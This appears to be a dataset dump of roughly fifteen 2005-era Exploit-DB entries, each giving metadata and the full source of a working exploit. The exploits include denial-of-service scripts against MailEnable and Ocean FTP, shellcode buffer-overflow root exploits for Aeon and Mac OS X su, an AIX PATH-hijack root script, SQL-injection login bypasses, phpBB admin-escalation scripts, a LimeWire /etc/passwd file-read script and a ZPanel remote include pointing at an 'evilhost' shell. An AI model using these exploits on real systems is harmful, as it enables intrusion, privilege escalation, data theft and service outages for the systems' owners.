QLWD/code_shield huggingface dataset:
标题: MailEnable Enterprise 1.x - SMTP Remote Denial of Service EDB-ID: 916 CVE: 2005-1013 类型: DOS 平台: WINDOWS 发布日期: 2005-04-05 漏洞利用脚本: #!/usr/bin/perl
##################################################################################
#MailEnable (Enterprise <= 1.04)-(Professional <= 1.54 SMTPd remote DOS exploit  #        
#                                                                                #
#                                                                                #   
#this tools causes the crash of the demon SMTP of mailenable                     #
#the bug and' caused he/she knows an unicode string sent to the command          #
#EHLO                                                                            #
#                                                                                #
#BUG discovered By CorryL                                                        # 
#Coded by CorryL                                                                 #  
#                                                     info: www.x0n3-h4ck.org#
##################################################################################
use IO::Socket; 
use Getopt::Std; getopts('h:', \%args);


if (defined($args{'h'})) { $host = $args{'h'}; }

print STDERR "\n-=[MailEnable (Enterprise & Professional) SMTPd remote DOS exploit]=-\n";
print STDERR "-=[                                                               ]=-\n";
print STDERR "-=[ Discovered & Coded by CorryL            info:www.x0n3-h4ck.org]=-\n";
print STDERR "-=[ irc.xoned.net #x0n3-h4ck                 corryl80[at]gmail.com]=-\n\n";

if (!defined($host)) {
Usage();
}

$bof = "\0x99";
print "[+]Connecting to the Host $host\n";
$socket = new IO::Socket::INET (PeerAddr => "$host",
                                PeerPort => 25,
                                Proto => 'tcp');
                                die unless $socket;
                                print "[+]Sending Unicode String\n";
                                print $socket "EHLO $bof\r\n";
                                print "[+]Server is Killed!\n";  
                              

close;

sub Usage {
print STDERR "Usage:
-h Victim host.\n\n";
exit;
}

# milw0rm.com [2005-04-05] URL: https://www.exploit-db.com/exploits/916
标题: Aeon 0.2a - Local Linux (2) EDB-ID: 914 CVE: 2005-1019 类型: LOCAL 平台: LINUX 发布日期: 2005-04-05 漏洞利用脚本: /* first release /str0ke */
/*
local linux exploit within aeon-0.2a
Coded by patr0n (security-tmp.h14.ru)
*/


#define BUFLEN 533
#define PATH "/home/research/aeon-0.2a/aeon"

char shellcode[]=
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80"
"\xb0\x2e\xcd\x80\xeb\x15\x5b\x31"
"\xc0\x88\x43\x07\x89\x5b\x08\x89"
"\x43\x0c\x8d\x4b\x08\x31\xd2\xb0"
"\x0b\xcd\x80\xe8\xe6\xff\xff\xff"
"/bin/sh";

int main(int argc, char *argv[]) {

        char evilbuf[BUFLEN];
        int i;
        char *p,*av[2], *ev[3];
        char *egg;

        egg=(char *)malloc(1000);
        sprintf(egg, "EGG=");
        memset(egg + 4, 0x90, 1000-1-strlen(shellcode));
        sprintf(egg + 4 + 1000-1-strlen(shellcode), "%s", shellcode);
 
 long ret=0xbfffffff-5-strlen(egg)-strlen(PATH);

        p=evilbuf;
        bzero(evilbuf,sizeof(evilbuf));
 strcpy(evilbuf,"HOME=");
  
        for(i=5;i<=BUFLEN;i+=4) 
     *(long *)(p+i)=ret; 
 
        av[0] = PATH;
        av[1] = 0;
        ev[0] = egg;
 ev[1] = evilbuf;
        ev[2] = 0;
        execve(*av, av, ev);

        return 0;

}

// milw0rm.com [2005-04-05] URL: https://www.exploit-db.com/exploits/914
标题: Aeon 0.2a - Local Linux (1) EDB-ID: 913 CVE: 2005-1019 类型: LOCAL 平台: LINUX 发布日期: 2005-04-05 漏洞利用脚本: #!/usr/bin/perl
#                       Aeon-mail relay agent for Linux                                   *
#                                                                                         *
#           written by lammat just for practice purposes                                  *
#                       tested against aeon-0.2a                                          *
#                       http://grpower.ath.cx                                    *
#            lammat@iname.com                             *


#  execve(/bin/sh) for linux x86
#   29 bytes
#   by Matias Sedalo



$shellcode = 
"\x31\xdb\x53\x8d\x43\x17\xcd\x80\x99\x68\x6e\x2f\x73\x68\x68".
"\x2f\x2f\x62\x69\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";


$buf = 528; 
$ret = 0xbfffe122; 
$nop = "\x90";

if (@ARGV == 1) {
$offset = $ARGV[0];
}

for ($i = 0; $i < ($buf - length($shellcode) - 100); $i++) {
$buffer .= $nop;
}


$buffer .= $shellcode;


print("Address: 0x", sprintf('%lx',($ret + $offset)), "\n");


$new_ret = pack('l', ($ret + $offset));

until (length($buffer) == $buf) {
$buffer .= $new_ret;
}

local($ENV{'HOME'}) = $buffer; exec("/home/lammat/aeon-0.2a/aeon $i");

# milw0rm.com [2005-04-05] URL: https://www.exploit-db.com/exploits/913
标题: GetDataBack Data Recovery 2.31 - Licence Recover EDB-ID: 912 CVE: 2005-1098 类型: LOCAL 平台: WINDOWS 发布日期: 2005-04-04 漏洞利用脚本: /*****************************************************************

GetDataBack for NTFS v2.31 Local Exploit by Kozan

Application: GetDataBack for NTFS v2.31
Vendor: www.runtime.org - Runtime Software
Vulnerable Description: GetDataBack for NTFS v2.31 discloses licence
informaations ( username and key ) to local users.

Discovered & Coded by: Kozan
Credits to ATmaCA
Web : www.netmagister.com
Web2: www.spyinstructors.com
Mail: kozan@netmagister.com

*****************************************************************/

#include <stdio.h>
#include <windows.h>

#define BUFSIZE 100
HKEY hKey;
char username[BUFSIZE], key[BUFSIZE];
DWORD dwBufLen=BUFSIZE;
LONG lRet;

int main(void)
{

if(RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Runtime
Software\\GetDataBackNT\\License",
0,
KEY_QUERY_VALUE,
&hKey) == ERROR_SUCCESS)
{

lRet = RegQueryValueEx( hKey, "Name", NULL, NULL,(LPBYTE) username,
&dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}

lRet = RegQueryValueEx( hKey, "Key", NULL, NULL,(LPBYTE) key, &dwBufLen);

if( (lRet != ERROR_SUCCESS) || (dwBufLen > BUFSIZE) ){
RegCloseKey(hKey);
printf("An error occured!");
return 0;
}
RegCloseKey( hKey );

printf("GetDataBack for NTFS v2.31 Local Exploit by Kozan\n");
printf("Credits to ATmaCA\n");
printf("www.netmagister.com - www.spyinstructors.com\n");
printf("kozan@netmagister.com\n\n");
printf("Username: %s\n",username);
printf("Key : %s\n",key);

}
else{
printf("GetDataBack for NTFS v2.31 is not installed on your system!\n");
}

return 0;
}

// milw0rm.com [2005-04-04] URL: https://www.exploit-db.com/exploits/912
标题: Linux Kernel PPC64/IA64 (AIO) - Local Denial of Service EDB-ID: 911 CVE: 2005-0916 类型: DOS 平台: LINUX 发布日期: 2005-04-04 漏洞利用脚本: //
// Proof of Concept by Daniel McNeil
// compile using cc -o aiodio_read aiodio_read.c -laio
//

#define _XOPEN_SOURCE 600 
#define _GNU_SOURCE 


#include <unistd.h> 
#include <stdlib.h> 
#include <stdio.h> 
#include <string.h> 
#include <errno.h> 
#include <sys/fcntl.h> 
#include <sys/mman.h> 
#include <sys/wait.h> 
#include <sys/stat.h> 


#include <libaio.h> 


int pagesize; 
char *iobuf; 
io_context_t myctx; 
int aio_maxio = 4; 


/* 
* do a AIO DIO write 
*/ 
int do_aio_direct_read(int fd, char *iobuf, int offset, int size) 
{ 
struct iocb myiocb; 
struct iocb *iocbp = &myiocb; 
int ret; 
struct io_event e; 
struct stat s; 


io_prep_pread(&myiocb, fd, iobuf, size, offset); 
if ((ret = io_submit(myctx, 1, &iocbp)) != 1) { 
perror("io_submit"); 
return ret; 
} 


ret = io_getevents(myctx, 1, 1, &e, 0); 


if (ret) { 
struct iocb *iocb = e.obj; 
int iosize = iocb->u.c.nbytes; 
char *buf = iocb->u.c.buf; 
long long loffset = iocb->u.c.offset; 


printf("AIO read of %d at offset %lld returned %d\n", 
iosize, loffset, e.res); 
} 


return ret; 



} 


int main(int argc, char *argv[]) 
{ 
char *filename; 
int fd; 
int err; 

filename = "test.aio.file"; 
fd = open(filename, O_RDWR|O_DIRECT|O_CREAT|O_TRUN­C, 0666); 


pagesize = getpagesize(); 
err = posix_memalign((void**) &iobuf, pagesize, pagesize); 
if (err) { 
fprintf(stderr, "Error allocating %d aligned bytes.\n", 
pagesize); 
exit(1); 
} 
err = write(fd, iobuf, pagesize); 
if (err != pagesize) { 
fprintf(stderr, "Error ret = %d writing %d bytes.\n", 
err, pagesize); 
perror(""); 
exit(1); 
} 
memset(&myctx, 0, sizeof(myctx)); 
io_queue_init(aio_maxio, &myctx); 
err = do_aio_direct_read(fd, iobuf, 0, pagesize); 
close(fd); 


printf("This will panic on ppc64\n"); 
return err; 

}

// milw0rm.com [2005-04-04] URL: https://www.exploit-db.com/exploits/911
标题: Apple Mac OSX 10.3.8 - 'CF_CHARSET_PATH' Local Buffer Overflow / Local Privilege Escalation EDB-ID: 896 CVE: 2005-0716 类型: LOCAL 平台: OSX 发布日期: 2005-03-22 漏洞利用脚本: /*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
*                                                         *
* by: v9@fakehalo.us (fakehalo/realhalo)                  *
*                                                         *
* found by: iDefense (anon finder)                        *
*                                                         *
* saw the advisory on bugtraq and figured i'd slap this   *
* together, so simple i had to.  exploits via the         *
* /usr/bin/su binary.  you must press ENTER at the        *
* "Password: " prompt.                                    *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
 printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}

// milw0rm.com [2005-03-22] URL: https://www.exploit-db.com/exploits/896
标题: Ocean FTP Server 1.00 - Denial of Service EDB-ID: 893 CVE: 2005-0847 类型: DOS 平台: WINDOWS 发布日期: 2005-03-21 漏洞利用脚本: #!/usr/bin/perl
###############################
# GSS-IT Research And Security Labs #
###############################
# #
# www.gssit.co.il #
# #
###############################
# Ocean FTP Server Ver 1.00 Denial Of Service POC #
###############################
# Use This PoC For Educational Purposes Only #
###############################
 
  
use Socket;
  

if (($#ARGV) < 2)
{
print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n\n");
print("Use : \n\nperl $0 [Host] [Port] [Sleep] \n");
exit
}

print("#############################\n");
print("# Ocean FTP Server Ver 1.00 Denial Of Service POC #\n");
print("#############################\n");


$host = $ARGV[0];
$port = $ARGV[1];
$slp = $ARGV[2];
$proto = getprotobyname('tcp');


for ($i=1; $i<110; $i++)
{
  socket($i, PF_INET, SOCK_STREAM, $proto );
  $dest = sockaddr_in ($port, inet_aton($host));
  if (!(connect($i, $dest)))
  {
   Slp();
  }
 
}

print("==> Unsuccesful <==");
exit;


sub Slp

{

 print("\n\nServer $host Has Been Successfully DoS'ed\n\n");
 print("The Server Will Be Down For $slp Seconds\n\n");
 sleep ($slp);
 
 print("==> Killing Connections ...<==\n");
 for ($j=1; $j<110; $j++)
  {
   shutdown($j,2);
  }
 print ("[#] Back To Work Server Up [#] ");
 exit;
}

# milw0rm.com [2005-03-21] URL: https://www.exploit-db.com/exploits/893
标题: AIX 5.3.0 - 'invscout' Local Command Execution EDB-ID: 898 CVE: 2004-1054 类型: LOCAL 平台: AIX 发布日期: 2005-03-25 漏洞利用脚本: #!/usr/bin/sh
# r00t exploit written for the invscout bug reported by Idefense labs
# http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities
# coded by ri0t exploitation is trivial but automated with this script
# www.ri0tnet.net
#
# usage ./getr00t.sh :)
# exploitation gives euid(root) from here getting guid (root) is as simple as an
# /etc/passwd edit 


cd /tmp
echo '/usr/bin/cp /usr/bin/ksh ./' > uname
echo '/usr/bin/chown root:system ./ksh' >> uname
echo '/usr/bin/chmod 777 ./ksh' >> uname
echo '/usr/bin/chmod +s ./ksh' >> uname
/usr/bin/chmod 777 uname
PATH=./
export PATH
/usr/sbin/invscout
PATH="/usr/bin:/usr/sbin:/usr/local/bin:/bin:./"
export PATH
exec /tmp/ksh

# milw0rm.com [2005-03-25] URL: https://www.exploit-db.com/exploits/898
标题: phpMyFamily 1.4.0 - Authentication Bypass EDB-ID: 892 CVE: 2005-0841 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-21 漏洞利用脚本: # Tested with version 1.2.5 /str0ke

Login as admin without pass:

Login: "' OR 'a'='a' AND admin='Y'/*" (without quotes)
Password: (empty)

# milw0rm.com [2005-03-21] URL: https://www.exploit-db.com/exploits/892
标题: phpBB 2.0.12 - Change User Rights Authentication Bypass EDB-ID: 889 CVE: 2005-0614 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-21 漏洞利用脚本: #!/usr/bin/perl -w

# phpBB <=2.0.12 session autologin exploit
# This script uses the vulerability in autologinid variable 
# More: http://www.phpbb.com/phpBB/viewtopic.php?f=14&t=267563
#
# Just gives an user on vulnerable forum administrator rights.
# You should register the user before using this ;-)
 
#   by Kutas, kutas@mail15.com
#P.S. I dont know who had made an original exploit, so I cannot place no (c) here...
# but greets goes to Paisterist who made an exploit for Firefox cookies...

if (@ARGV < 3)
 {
 print q(
 +++++++++++++++++++++++++++++++++++++++++++++++++++
 Usage: perl nenu.pl [site] [phpbb folder] [username] [proxy (optional)] 
 i.e. perl nenu.pl www.site.com /forum/ BigAdmin 127.0.0.1:3128
 ++++++++++++++++++++++++++++++++++++++++++++++++++++
           );   
 exit;
 } 
use strict;
use LWP::UserAgent;

my $host  = $ARGV[0];
my $path  = $ARGV[1];
my $user  = $ARGV[2];
my $proxy = $ARGV[3];
my $request = "http://";
$request .= $host;
$request .= $path; 
 

use HTTP::Cookies;
my $browser = LWP::UserAgent->new ();
my $cookie_jar = HTTP::Cookies->new( );
$browser->cookie_jar( $cookie_jar );
$cookie_jar->set_cookie( "0","phpbb2mysql_data", "a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", "/",$host,,,,,);
if ( defined $proxy) {
 $proxy =~ s/(http:\/\/)//eg;
 $browser->proxy("http" , "http://$proxy");
 }
 print "++++++++++++++++++++++++++++++++++++\n";
 print "Trying to connect to $host$path"; if ($proxy) {print "using proxy $proxy";}

my $response = $browser->get($request);
die "Error: ", $response->status_line
 unless $response->is_success;
 
if($response->content =~ m/phpbbprivmsg/) {
  print "\n   Forum is vulnerable!!!\n";
} else {
  print "Sorry... Not vulnerable"; exit();}

print "+++++++++++++++++++++++++++++\nTrying to get the user:$user ID...\n";
$response->content =~ /sid=([\w\d]*)/;
my $sid = $1;

$request .= "admin\/admin_ug_auth.php?mode=user&sid=$sid";
$response = $browser->post(
  $request,
  [
    'username'  => $user,
    'mode' => 'edit',
    'mode' => 'user',
    'submituser' => 'Look+up+User'
  ],
);
die "Error: ", $response->status_line
 unless $response->is_success;

if ($response->content =~ /name="u" value="([\d]*)"/) 
 {print "   Done... ID=$1\n++++++++++++++++++++++++++++++\n";}
   else {print "No user $user found..."; exit(); } 
my $uid = $1;
print "Trying to give user:$user admin status...\n";

$response = $browser->post(
  $request,
  [
    'userlevel'  => 'admin',
    'mode' => 'user',
    'adv'=>'',
    'u'=> $uid,
    'submit'=> 'Submit'
  ],
);
die "Error: ", $response->status_line
 unless $response->is_success;
print "   Well done!!! $user should now have an admin status..\n++++++++++++++++++++++++++++";

# milw0rm.com [2005-03-21] URL: https://www.exploit-db.com/exploits/889
标题: phpBB 2.0.12 - Change User Rights Authentication Bypass EDB-ID: 897 CVE: 2005-0614 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-24 漏洞利用脚本: /* Paisterist's code was nice but heres mil's version.
 * precompiled: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/897.rar
 * Usage: 
 * bcc32 897.cpp
 * and place the exe in your firefox profile dir.
 * Usually C:\Documents and Settings\Application Data\Mozilla\Firefox\Profiles\something.default
 * Visit a site with phpbb, close the browser, double click the exe, browse site.
 * This gives anonymous users administrator rights only.
 * Ya its lame im bored kthnx. If something goes wrong clear cookies.
 * 
 * /str0ke
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

//Taken from VeNoMouS's love cow code
char *search_and_replace (char *text, char *find, char *replace)
{
char *found,*new_text;
int
len_find=strlen(find),len_replace=strlen(replace),len_text=strlen(text),i=0,j=0;

if((new_text=(char*)malloc(len_text+len_replace-len_find+1))==NULL)
       {
       printf("malloc issue...\n");
       return new_text;
       }
found = strstr(text, find);
while (i <= len_text)
{
if ( found != text + i )
       {
       new_text[j] = text[i];
       i++;
       j++;
       }
       else
       {
           strcat (new_text, replace);
           i += len_find;
           j += len_replace;
           found = strstr (text + i, find);
       }
       new_text[j] = '\0';
}
return new_text;
}

int main()
{
  FILE * pFile;
  long lSize;
  char * buffer;

  pFile = fopen ( "cookies.txt" , "r" );
  if (pFile==NULL) exit (1);

  fseek (pFile , 0 , SEEK_END);
  lSize = ftell (pFile);
  rewind (pFile);

  buffer = (char*) malloc (lSize);
  if (buffer == NULL) exit (2);
  fread (buffer,1,lSize,pFile);
  fclose (pFile);

  pFile = fopen ( "cookies.txt" , "w" );
  fputs(search_and_replace((char *)buffer,"a%3A0%3A%7B%7D","a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb%3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D"), pFile);
  fclose (pFile);
  free (buffer);
  return 0;

}

// milw0rm.com [2005-03-24] URL: https://www.exploit-db.com/exploits/897
标题: ZPanel 2.5 - SQL Injection EDB-ID: 881 CVE: 2005-0792 类型: WEBAPPS 平台: PHP 发布日期: 2005-03-15 漏洞利用脚本: # Tested and working /str0ke

It is possible to include arbitrary file:
local - in version ZPanel <= 2.5 beta 10,
remote - in ZPanel 2.0.

[exploit for v 2.0]
http://localhost/zpanel/zpanel.php?page=http://evilhost/shell
where http://evilhost/shell.php - evil php code script

[exploit for v 2.5 beta]
http://localhost/zpanel/zpanel.php?page=billinginfo/index.php%00'%20OR%20'1'='1


# milw0rm.com [2005-03-15] URL: https://www.exploit-db.com/exploits/881
标题: LimeWire 4.1.2 < 4.5.6 - 'GET' Remote File Read EDB-ID: 879 CVE: 2005-0788 类型: REMOTE 平台: MULTIPLE 发布日期: 2005-03-14 漏洞利用脚本: #!/usr/bin/perl
#Limewire 4.1.2 - 4.5.6 remote and fucking lame exploit     * 
#                written by lammat       *
#              http://grpower.ath.cx            *
#  lammat@iname.com    *      
#       Discovered by Kevin Walsh                 * 

use IO::Socket;

$host = @ARGV[0];
$file = @ARGV[1];

unless (@ARGV == 2) {
print "usage: $0 host file\n";
print "E.g: $0 10.0.0.2 /etc/passwd\n";
exit
}

@req = "GET /gnutella/res//$file HTTP/1.1\n
User-Agent: I-AM-AN-ATTACKER/1.0\n
Host: 0.0.0.0:0\n
Accept: */*\n
Connection: Keep-Alive";

print "[+] checking if host exists...\n";
$string = inet_aton($host) || die "[-] Host does not exist...\n";

print "[+] $host exists...connecting...\n";
$web = IO::Socket::INET->new(
Proto => "tcp",
PeerAddr => $host,
PeerPort => "6346",
)
or die "cannot connect to the $host";
if ($web)
{
print "[+] Connected...sending the request...\n";

print $web "@req";


while ( <$web> )
{ print }
close $web;
}

# milw0rm.com [2005-03-14] URL: https://www.exploit-db.com/exploits/879
标题: MailEnable 1.8 - Remote Format String Denial of Service EDB-ID: 887 CVE: 2005-0804 类型: DOS 平台: WINDOWS 发布日期: 2005-03-17 漏洞利用脚本: ##################################################################
#                                                                #
#               See-security Technologies ltd.                   #
#                                                                #
#                http://www.see-security.com                     #
#                                                                #
##################################################################
#                                                                #
#          MailEnable 1.8 Format String DoS exploit              #
#                                                                #
#                Discovered by Mati Aharoni                      #
#                                                                #
#                   Coded by tal zeltzer                         #
#                                                                #
##################################################################


import sys
import time
import socket


def PrintLogo():
 print "##################################################################"
 print "#                                                                #"
 print "#               See-security Technologies ltd.                   #"
 print "#                                                                #"
 print "#                http://www.see-security.com                     #"
 print "#                                                                #"
 print "##################################################################"
 print "#"+" "*64+"#"
 print "#          MailEnable 1.8 Format String DoS exploit              #"
 print "#"+" "*64+"#"
 print "#                Discovered by Mati Aharoni                      #"
 print "#                                                                #"
 print "#                   Coded by tal zeltzer                         #"
 print "#"+" "*64+"#"
 print "#"*66+"\n"


PrintLogo()
if (len(sys.argv) != 2):
 print "\n\n"
 print sys.argv[0] + " [Target Host]"
 sys.exit()
sSmtpSocket = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
print "[-] Connecting to " + sys.argv[1]
sSmtpSocket.connect((sys.argv[1],25))
print "[-] Connected to " + sys.argv[1]
print "[-] Sending malformed packet"
sSmtpSocket.send("mailto: %s%s%s\r\n")
sSmtpSocket.close()
print "[-] Malformed packet sent"


# milw0rm.com [2005-03-17] URL: https://www.exploit-db.com/exploits/887